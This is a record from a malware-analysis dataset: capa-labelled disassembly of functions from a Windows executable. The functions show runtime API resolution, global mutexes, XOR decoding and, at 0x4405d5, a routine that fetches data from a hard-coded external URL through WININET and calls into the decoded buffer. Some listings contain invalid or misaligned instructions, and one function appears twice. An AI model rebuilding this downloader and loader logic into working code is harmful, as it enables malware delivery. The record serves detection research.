joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4086e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x44b708
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push ebp
push esi
push edi
mov eax, dword [0x45f2c0]
xor eax, esp
push eax
lea eax, [esp + 0x2c]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x3c]
lea edi, [ebp + 0x38]
push edi
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
test eax, eax
setne al
mov byte [esp + 0x1c], al
test al, al
mov dword [esp + 0x34], 0
je 0x4088c8
mov esi, ebp
call fcn.00408c30
cmp byte [ebp], 0
jne 0x4088c1
cmp byte [ebp + 1], 0
jne 0x4088c1
lea edi, [esp + 0x14]
call fcn.00409100
lea ecx, [esp + 0x3c]
push ecx
mov ebx, eax
mov byte [esp + 0x38], 1
call fcn.00408ca0
add esp, 4
mov byte [esp + 0x34], 3
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40878f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x408895
cmp dword [ebp + 4], 0
lea edi, [ebp + 4]
jne 0x408895
mov edx, dword [esp + 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov ebx, edi
mov dword [edi], eax
call fcn.00408440
test eax, eax
jl 0x408895
xor eax, eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov byte [esp + 0x24], al
mov eax, dword [edi + 4]
test eax, eax
mov ebx, 1
mov dword [esp + 0x20], 0xc
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], bl
mov dword [esp + 0x28], 2
je 0x408807
lea ecx, [esp + 0x20]
push ecx
call eax
mov edi, dword [edi + 0xc]
test edi, edi
je 0x40881e
lea edx, [ebp + 0x18]
push edx
push 0x458320
push 0x458310
call edi
cmp dword [ebp + 0x18], 0
je 0x40887d
cmp byte [ebp], 0
jne 0x40887d
lea esi, [ebp + 0x1c]
mov eax, esi
call fcn.00408e80
test eax, eax
jne 0x408857
push 0x4089a0
push ebp
call fcn.00408e00
mov edi, eax
mov eax, dword [esi]
add esp, 8
test eax, eax
je 0x408855
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], edi
mov eax, esi
call fcn.00408e80
test eax, eax
je 0x40887d
mov ecx, dword [ebp + 0x18]
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
call edx
test eax, eax
jl 0x40887d
mov ecx, dword [ebp + 0x18]
mov eax, dword [ecx]
mov edx, dword [eax + 0x14]
call edx
mov dword [ebp + 0x34], ebx
lea eax, [esp + 0x3c]
call fcn.00404230
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, ebx
jmp 0x4088ca
mov byte [esp + 0x34], 0
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4088ba
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x18]
push ecx
jmp 0x4088c2
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
Function at 0x408e00
Capabilities:
Create thread

Disassembly:
push ecx
push 0xc
call fcn.00433925
add esp, 4
test eax, eax
jne 0x408e24
xor al, al
mov byte [esp + 3], al
push 0x45c1c4
lea eax, [esp + 7]
push eax
call fcn.004342fb
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
push 0
push 0
push eax
push 0x408e50
push 0
push 0
mov dword [eax], ecx
mov dword [eax + 8], 0
mov dword [eax + 4], edx
call fcn.00433828
add esp, 0x18
pop ecx
ret

Function at 0x409740
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x44bb66
mov eax, dword fs:[0]
push eax
sub esp, 0x308
mov eax, dword [0x45f2c0]
xor eax, esp
mov dword [esp + 0x300], eax
push ebx
push esi
push edi
mov eax, dword [0x45f2c0]
xor eax, esp
push eax
lea eax, [esp + 0x318]
mov dword fs:[0], eax
xor ebx, ebx
push 0xd2
lea eax, [esp + 0x2a]
push ebx
push eax
mov word [esp + 0x30], bx
call fcn.00433ff0
add esp, 0xc
lea ecx, [esp + 0x24]
push ecx
push 0x69
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
cmp eax, ebx
jne 0x4097b2
xor eax, eax
jmp 0x409926
cdq
and edx, 3
add eax, edx
push 0x208
lea edx, [esp + 0x102]
mov esi, eax
push ebx
push edx
sar esi, 2
mov word [esp + 0x108], bx
call fcn.00433ff0
mov eax, dword [0x464474]
mov ecx, dword [0x464470]
add esp, 0xc
cmp ecx, eax
lea edi, [esp + 0x24]
mov word [esp + 0x304], bx
mov dword [esp + 0x18], eax
jbe 0x40980a
call fcn.00432587
mov eax, dword [0x464474]
mov ecx, dword [0x464470]
cmp ecx, eax
mov ebx, 0x46446c
mov dword [esp + 0x14], ecx
jbe 0x40981c
call fcn.00432587
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ecx
push ebx
push edx
mov eax, 0x46446c
push eax
lea eax, [esp + 0x28]
push eax
mov ebx, 0x46446c
call fcn.0040a350
xor ebx, ebx
cmp esi, ebx
jle 0x409921
mov dword [esp + 0x18], esi
jmp 0x409852
xor ebx, ebx
push 0x104
lea ecx, [esp + 0x100]
push ecx
push edi
mov word [edi + 4], bx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x409913
lea edx, [esp + 0x20]
push edx
lea ecx, [esp + 0x100]
call fcn.004047f0
mov dword [esp + 0x320], ebx
lea ebx, [esp + 0x20]
mov esi, 0x46446c
call fcn.00409f00
mov dword [esp + 0x320], 0xffffffff
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4098c3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x14]
push ecx
mov ecx, edi
call fcn.004047f0
lea ebx, [esp + 0x14]
mov esi, 0x46446c
mov dword [esp + 0x320], 1
call fcn.00409f00
mov dword [esp + 0x320], 0xffffffff
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x409913
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add edi, 8
sub dword [esp + 0x18], 1
jne 0x409850
mov eax, 1
mov ecx, dword [esp + 0x318]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x300]
xor ecx, esp
call fcn.0043244e
mov esp, ebp
pop ebp
ret
Function at 0x40c070
Capabilities:
Check mutex on windows
Create thread
Read file via mapping

Disassembly:
sub esp, 0x20
push esi
push edi
push 1
lea ecx, [esp + 0x18]
push ecx
xor edi, edi
mov dword [0x464398], eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push edi
push edi
push 1
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexW]
push str.Global27BF383B_8096_4a96_B28A_E13D2B87BE9D
push 1
lea eax, [esp + 0x1c]
push edi
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x1c], edi
mov dword [esp + 0x18], eax
call esi
cmp eax, edi
mov dword [0x4643b8], eax
je 0x40c1d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40c1d2
push str.GlobalF0EA233F_916A_4b34_8F3E_C11D4ADC0C22
push 0x1000
push edi
push 4
lea ecx, [esp + 0x18]
push ecx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
cmp eax, edi
mov dword [0x4643a4], eax
je 0x40c1d2
push 0x1000
push edi
push edi
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, edi
mov dword [0x4643b4], eax
je 0x40c1d2
push str.GlobalEC5B4970_B008_4181_B43B_8C8D9B0252E2
push edi
lea edx, [esp + 0x10]
push edx
call esi
cmp eax, edi
mov dword [0x4643a8], eax
je 0x40c1d2
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventW]
push str.Global044AE172_3F7B_4dea_91B4_B746645F9A51
push edi
push edi
lea eax, [esp + 0x14]
push eax
call esi
cmp eax, edi
mov dword [0x4643ac], eax
je 0x40c1d2
push str.Global8A3E4C47_F7C1_40be_9334_FA6D142A89C8
push edi
push edi
lea ecx, [esp + 0x14]
push ecx
call esi
cmp eax, edi
mov dword [0x4643b0], eax
je 0x40c1d2
push edi
push edi
push edi
push edi
call esi
cmp eax, edi
mov dword [0x4643a0], eax
je 0x40c1d2
mov edx, dword [0x4643a4]
push edx
call fcn.0040bfe0
mov eax, dword [0x4643a8]
push eax
call fcn.0040bfe0
mov ecx, dword [0x4643ac]
push ecx
call fcn.0040bfe0
mov edx, dword [0x4643b0]
push edx
call fcn.0040bfe0
push edi
push edi
push 0x464398
push 0x40c2c0
push edi
push edi
call fcn.00433828
add esp, 0x28
cmp eax, edi
mov dword [0x46439c], eax
je 0x40c1d2
lea eax, [edi + 1]
pop edi
pop esi
add esp, 0x20
ret
call fcn.0040c1e0
mov eax, edi
pop edi
pop esi
add esp, 0x20
ret
Function at 0x416590
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x50
mov eax, dword [0x45f2c0]
xor eax, esp
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x58]
push ebx
push ebp
mov ebp, dword [esp + 0x5c]
push edi
push 0x40
mov edi, ecx
lea ecx, [esp + 0x1c]
push 0
push ecx
mov dword [esp + 0x20], eax
call fcn.00433ff0
mov edx, dword [esi]
mov dword [esp + 0x18], 0
mov ebx, dword [edx + 8]
add esp, 0xc
test ebp, ebp
mov dword [esp + 0x10], ebx
jbe 0x41666d
jmp 0x4165e4
mov ebx, dword [esp + 0x10]
cmp ebp, ebx
jae 0x4165ea
mov ebx, ebp
mov eax, dword [esi]
test eax, eax
je 0x416648
mov ecx, dword [esi + 4]
mov edx, dword [eax + 0xc]
push ecx
call edx
mov eax, dword [esi]
add esp, 4
test eax, eax
je 0x416648
mov ecx, dword [esp + 0x68]
mov edx, dword [esp + 0x14]
push ecx
mov ecx, dword [esi + 4]
push edx
mov edx, dword [eax + 0x10]
push ecx
call edx
mov eax, dword [esi]
add esp, 0xc
test eax, eax
je 0x416648
mov edx, dword [esi + 4]
mov eax, dword [eax + 0x10]
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
call eax
mov eax, dword [esi]
add esp, 0xc
test eax, eax
je 0x416648
mov edx, dword [esi + 4]
mov eax, dword [eax + 0x14]
lea ecx, [esp + 0x18]
push ecx
push edx
call eax
add esp, 8
xor eax, eax
test ebx, ebx
jbe 0x416660
mov edi, edi
mov cl, byte [esp + eax + 0x18]
xor byte [edi], cl
add eax, 1
add edi, 1
cmp eax, ebx
jb 0x416650
add byte [esp + 0xf], 1
sub ebp, ebx
jne 0x4165e0
mov ecx, dword [esp + 0x58]
pop edi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043244e
add esp, 0x50
ret
Function at 0x4305e5
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x45f2c0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00430524
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00433ff0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x430634
cmp dword [ebp - 0x1c], 5
jb 0x43064c
jmp 0x430648
cmp dword [ebp - 0x10], 1
jne 0x43064c
cmp dword [ebp - 0x1c], 4
ja 0x430648
jne 0x43064c
cmp dword [ebp - 0x18], 0
jbe 0x43064c
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x44d3a8
call fcn.0040abf0
test eax, eax
jge 0x43066d
mov byte [0x46450c], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0043244e
add ebp, 0x78
leave
ret

Function at 0x43244e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45f2c0]
jne 0x432458
repz ret
jmp fcn.00439465

Function at 0x438104
Capabilities:
Link many functions at runtime
Read file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x1c
push dword [0x45f5a8]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp + 0xc], eax
push dword [0x45f5f4]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x45f594]
push eax
call edi
mov dword [esp + 0x10], eax
mov esi, dword [0x45f5c8]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push 0
push eax
call ebx
mov esi, dword [0x45f5c8]
call ebp
push esi
push 0
push eax
call ebx
mov dword [esp], eax
push dword [0x45f578]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push dword [0x45f5d8]
push eax
call edi
mov dword [esp + 0x18], eax
push dword [0x45f5ec]
push ebp
call edi
mov dword [esp + 0x14], eax
push dword [0x45f5b8]
push ebp
call edi
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [esp + 0x18]
push 0
push 0
push 0
push 1
push dword [0x45f58c]
call eax
test eax, eax
je 0x4382e9
mov ecx, dword [esp + 0x14]
push 0
push dword [0x45f5cc]
Function at 0x4381ca
Capabilities:
Read file on windows

Disassembly:
push 0
push 0
push dword [0x45f5e0]
push eax
call ecx
test eax, eax
je 0x4382e9
mov ebp, eax
mov eax, dword [esp + 8]
lea ecx, [esp + 4]
push ecx
push dword [0x45f5c8]
push dword [esp + 8]
push ebp
call eax
test eax, eax
je 0x4382e9
mov eax, dword [esp + 4]
test eax, eax
je 0x4382e9
add byte [eax], al
mov edi, dword [esp]
nop
nop
nop
nop
nop
nop
mov ebx, edi
mov esi, eax
add edi, eax
mov eax, dword [esp + 8]
lea ecx, [esp + 4]
push ecx
push dword [0x45f5c8]
push edi
push ebp
call eax
test eax, eax
je 0x438239
mov eax, dword [esp + 4]
test eax, eax
jne 0x438214
cmp edi, dword [esp]
je 0x4382e9
mov eax, dword [esp]
mov eax, dword [eax]
add ebx, esi
mov ecx, 0xfffffffc
nop
nop
nop
nop
nop
nop
mov edx, dword [0x45f584]
mov edx, dword [edx + ecx + 4]
add edx, eax
mov dword [ebx + ecx + 4], edx
add ecx, 4
cmp ecx, 0x1c
jb 0x438254
push edi
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
je 0x438294
adc bh, bh
adc eax, sym.imp.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x4382e9
push dword [0x45f59c]
push 0x1000
push dword [0x45f5c8]
push 0
call eax
mov edx, dword [0x45f5b0]
mov esi, dword [0x45f580]
mov ecx, dword [edx + esi + 4]
lea edx, [edx + esi + 8]
inc ebp
add byte [ebx + 0x45f58035], cl
add byte [ebx - 0x72fbcdb4], cl
push esp
xor cl, byte [eax]
mov esi, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [edx + esi - 4]
add edi, ecx
mov dword [eax + esi + 4], edi
add esi, 4
cmp esi, 0x7ffc
jb 0x4382b4
mov ecx, dword [0x45f5d4]
mov dword [eax + 8], ecx
mov ecx, dword [0x45f5b4]
add ecx, eax
add ecx, dword [eax + 0xc]
add eax, dword [0x45f5b4]
push eax
call ecx
add esp, 4
push 0x30
push 0
push dword [0x45f5f0]
push 0
call dword [esp + 0x20]
push 0
clc
push esi
call fcn.0043e3fc
pop ecx
push eax
call fcn.0044308d
add esp, 0xc
test eax, eax
je 0x4383ca
cmp eax, 0xffffffff
je 0x4383b8
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x43834f
test ebx, ebx
jne 0x43826e
mov eax, dword [ebp + 0x14]
jmp 0x438209
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x438209
or dword [esi + 0xc], 0x10
jmp 0x4383bc
Function at 0x439bca
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x45f708]
je 0x439be5
inc edi
cmp edi, 0x17
jb 0x439bd6
cmp edi, 0x17
jae 0x439d65
push ebp
push 3
call fcn.0044531f
cmp eax, 1
pop ecx
je 0x439d31
push 3
call fcn.0044531f
test eax, eax
pop ecx
jne 0x439c19
cmp dword [0x45f2b0], 1
je 0x439d31
cmp ebx, 0xfc
je 0x439d64
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x461810
push ebp
call fcn.00433ca7
add esp, 0xc
test eax, eax
je 0x439c4f
push esi
push esi
push esi
push esi
push esi
call fcn.00432467
add esp, 0x14
push 0x104
mov esi, 0x461829
push esi
push 0
mov byte [0x46192d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x439c93
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00433ca7
add esp, 0xc
test eax, eax
je 0x439c93
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00432467
add esp, 0x14
push esi
call fcn.00434270
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x439cd8
push esi
call fcn.00434270
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x461b24
push 0x44e4dc
sub ecx, eax
push ecx
push eax
call 0x440626
add esp, 0x14
test eax, eax
je 0x439cd8
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00432467
add esp, 0x14
jmp 0x439cda
xor esi, esi
push 0x44e4d8
push ebx
push ebp
call fcn.00440564
add esp, 0xc
test eax, eax
je 0x439cfa
push esi
push esi
push esi
push esi
push esi
call fcn.00432467
add esp, 0x14
push dword [edi*8 + 0x45f70c]
push ebx
push ebp
call fcn.00440564
add esp, 0xc
test eax, eax
je 0x439d1c
push esi
push esi
push esi
push esi
push esi
call fcn.00432467
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.00445162
add esp, 0xc
jmp 0x439d64
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x439d64
cmp ebp, 0xffffffff
je 0x439d64
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x45f70c]
push dword [esi]
call fcn.00434270
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x4405d5
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
sub esp, 0x10
mov eax, dword [str.KERNEL32.DLL]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
pop esp
rol byte [eax + eax - 0x77], cl
inc esp
and al, 0xc
mov eax, dword [str.SHLWAPI.dll]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov eax, dword [str.PathFindFileNameW]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov eax, dword [str.USER32.dll]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov eax, dword [str.MessageBoxA]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, eax
mov eax, dword [0x45f5c8]
push eax
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push 0x104
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
call ebx
mov esi, eax
mov ecx, dword [0x45f5a4]
cmp dword [ecx], 0
je 0x4406a8
movzx edx, word [esi]
xor eax, eax
test edx, edx
je 0x440718
inc eax
movzx ebx, word [esi + eax*2]
test ebx, ebx
jne 0x44066e
movzx eax, al
cmp al, byte [ecx]
je 0x44068b
cmp al, byte [ecx + 1]
jne 0x4406fe
test edx, edx
je 0x440714
xor eax, eax
xor edx, edx
movzx ebx, word [esi + edx*2]
inc edx
add eax, ebx
movzx edi, word [esi + edx*2]
test edi, edi
jne 0x44068f
cmp eax, dword [ecx + 4]
je 0x4406a8
cmp eax, dword [ecx + 8]
jne 0x4406fe
mov eax, dword [str.WININET.DLL]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov eax, dword [str.InternetOpenA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov eax, dword [str.InternetOpenUrlA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 4], eax
mov eax, dword [str.InternetReadFile]
inc ebp
add byte [eax + 0x53], dl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
xor eax, eax
mov dword [esp], eax
push eax
push eax
push eax
push 1
mov edx, dword [str.gliff]
push edx
call edi
mov edi, eax
test edi, edi
jne 0x440723
xor eax, eax
jmp 0x44069e
cmp byte [ecx], 0
jne 0x44067e
jmp 0x440714
xor edx, edx
push edx
mov ecx, dword [str.https:__webhostinggeeks.com_blog_wp_content_uploads_2023_05_Hiawatha_128x90_optimized.png]
mov eax, dword [0x45f5cc]
push eax
push edx
push edx
push ecx
push edi
call dword [esp + 0x1c]
sbb al, 0x8b
enter 0xffffffffffffc985, 0x74
invalid
mov edx, dword [0x45f5c8]
lea eax, [esp]
push eax
push edx
lea edi, [esi + 0x20a]
push edi
push ecx
call ebx
test eax, eax
je 0x4406fe
mov eax, dword [esp]
test eax, eax
jbe 0x4406fe
lea eax, [esi + eax + 0x20a]
cmp eax, edi
je 0x4406fe
mov ecx, dword [esi + 0x20a]
xor edx, edx
mov ebx, dword [0x45f5e8]
mov esi, dword [ebx + edx]
add esi, ecx
mov dword [edx + eax], esi
add edx, 4
cmp edx, 0x20
jl 0x440773
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x4406fe
xor eax, eax
lea ecx, [esp + 8]
push eax
push eax
mov edx, dword [fcn.00438104]
push edx
push ecx
call ebx
Function at 0x4405e0
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
sub esp, 0x10
mov eax, dword [str.KERNEL32.DLL]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
pop esp
rol byte [eax + eax - 0x77], cl
inc esp
and al, 0xc
mov eax, dword [str.SHLWAPI.dll]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov eax, dword [str.PathFindFileNameW]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov eax, dword [str.USER32.dll]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov eax, dword [str.MessageBoxA]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, eax
mov eax, dword [0x45f5c8]
push eax
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push 0x104
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
call ebx
mov esi, eax
mov ecx, dword [0x45f5a4]
cmp dword [ecx], 0
je 0x4406a8
movzx edx, word [esi]
xor eax, eax
test edx, edx
je 0x440718
inc eax
movzx ebx, word [esi + eax*2]
test ebx, ebx
jne 0x44066e
movzx eax, al
cmp al, byte [ecx]
je 0x44068b
cmp al, byte [ecx + 1]
jne 0x4406fe
test edx, edx
je 0x440714
xor eax, eax
xor edx, edx
movzx ebx, word [esi + edx*2]
inc edx
add eax, ebx
movzx edi, word [esi + edx*2]
test edi, edi
jne 0x44068f
cmp eax, dword [ecx + 4]
je 0x4406a8
cmp eax, dword [ecx + 8]
jne 0x4406fe
mov eax, dword [str.WININET.DLL]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov eax, dword [str.InternetOpenA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov eax, dword [str.InternetOpenUrlA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 4], eax
mov eax, dword [str.InternetReadFile]
inc ebp
add byte [eax + 0x53], dl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
xor eax, eax
mov dword [esp], eax
push eax
push eax
push eax
push 1
mov edx, dword [str.gliff]
push edx
call edi
mov edi, eax
test edi, edi
jne 0x440723
xor eax, eax
jmp 0x44069e
cmp byte [ecx], 0
jne 0x44067e
jmp 0x440714
xor edx, edx
push edx
mov ecx, dword [str.https:__webhostinggeeks.com_blog_wp_content_uploads_2023_05_Hiawatha_128x90_optimized.png]
mov eax, dword [0x45f5cc]
push eax
push edx
push edx
push ecx
push edi
call dword [esp + 0x1c]
sbb al, 0x8b
enter 0xffffffffffffc985, 0x74
invalid
mov edx, dword [0x45f5c8]
lea eax, [esp]
push eax
push edx
lea edi, [esi + 0x20a]
push edi
push ecx
call ebx
test eax, eax
je 0x4406fe
mov eax, dword [esp]
test eax, eax
jbe 0x4406fe
lea eax, [esi + eax + 0x20a]
cmp eax, edi
je 0x4406fe
mov ecx, dword [esi + 0x20a]
xor edx, edx
mov ebx, dword [0x45f5e8]
mov esi, dword [ebx + edx]
add esi, ecx
mov dword [edx + eax], esi
add edx, 4
cmp edx, 0x20
jl 0x440773
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x4406fe
xor eax, eax
lea ecx, [esp + 8]
push eax
push eax
mov edx, dword [fcn.00438104]
push edx
push ecx
call ebx